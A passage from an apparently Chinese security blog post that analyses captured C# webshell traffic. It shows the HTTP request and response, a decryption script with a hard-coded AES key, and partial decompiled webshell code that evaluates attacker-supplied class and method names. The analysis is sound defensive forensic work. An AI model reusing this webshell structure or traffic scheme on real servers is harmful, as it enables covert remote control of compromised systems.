  2. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
  3. Cookie: ASP.NET_SessionId=u4egxprswvkb0t1uectw2foi;
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Host: localhost:56956
  7. Connection: keep-alive
  8. Content-type: application/x-www-form-urlencoded
  9. Content-Length: 71
  10. pass=WwSelqL9JENiXyh3FQxhh6neBpd6CFz4tFjBohtMq8pX0MY0w6%2F1Gkg4dxy5JO9o
  11. HTTP/1.1 200 OK
  12. Cache-Control: private
  13. Content-Type: text/html; charset=utf-8
  14. Server: Microsoft-IIS/10.0
  15. X-AspNet-Version: 4.0.30319
  16. X-SourceFiles: =?UTF-8?B?QzpcVXNlcnNcNTkzMDJcc291cmNlXHJlcG9zXFdlYlNpdGUyXEFib3V0?=
  17. X-Powered-By: ASP.NET
  18. Date: Tue, 31 Oct 2023 09:48:57 GMT
  19. Content-Length: 76
  20. 11CD6A8758984163CRF8Fju8YJWYsacdj2S9hlrsxeDHV8GSkLM/jS9ONlU=6C37AC826A2A04BC

同样的,我们先看第一段,根据WEBSHELL中的内容,我写了一个小的C#语言的解密脚本:

  1. using System;
  2. namespace ConsoleApplication4
  3. {
  4. internal static class Program
  5. {
  6. public static void Main(string[] args)
  7. {
  8. string key = "3c6e0b8a9c15224a";
  9. byte[] data = System.Convert.FromBase64String(Uri.UnescapeDataString("WwSelqL9JENiXyh3FQxhh6neBpd6CFz4tFjBohtMq8pX0MY0w6%2F1Gkg4dxy5JO9o"));
  10. // 使用密钥对数据进行解密
  11. data = new System.Security.Cryptography.RijndaelManaged()
  12. .CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key))
  13. .TransformFinalBlock(data, 0, data.Length);
  14. string result = BitConverter.ToString(data).Replace("-", ""); // 移除中间的连字符
  15. Console.WriteLine("HEX = " + result);
  16. }
  17. }
  18. }

解密得到:

  1. 4D5A90000300000004......000000000000000000

说明这是一个应用程序,使用CyberChef转换并导出DLL文件:

Untitled 4.png

然后丢到dnSpy中进行下反编译。

Untitled 5.png

得到代码:

  1. using System;
  2. using System.Collections;
  3. using System.Data;
  4. using System.Data.SqlClient;
  5. using System.Diagnostics;
  6. using System.IO;
  7. using System.IO.Compression;
  8. using System.Net;
  9. using System.Reflection;
  10. using System.Security.AccessControl;
  11. using System.Security.Principal;
  12. using System.Text;
  13. using System.Web;
  14. // Token: 0x02000002 RID: 2
  15. internal class LY
  16. {
  17. // Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
  18. public byte[] run()
  19. {
  20. string text = this.get("evalClassName");
  21. string text2 = this.get("methodName");
  22. if (text2 != null)
  23. ......
  24. ......
  25. ......
  26. // Token: 0x04000007 RID: 7
  27. private MemoryStream outStream;
  28. // Token: 0x04000008 RID: 8
  29. private byte[] requestData;
  30. }

接下来解密第二段,同样使用上面的脚本跑一下,得到:

  1. 1F8B0800000000000000CB4D2DC9C84FF14BCC4D656261606028492D2E0100F839225013000000

发现是一个gzip压缩内容,同样使用CyberChef转换解压。

Untitled 6.png

结果为:

  1. methodName test

为执行test函数,函数内容为:

  1. public byte[] test()
  2. {
  3. return this.stringToByteArray("ok");
  4. }

以同样的方法解密响应体,得到:

  1. ok
  • 发表于 2023-11-09 10:00:01
  • 阅读 ( 21262 )
  • 分类:漏洞分析

1 条评论

JKL
JKL

1 篇文章

站长统计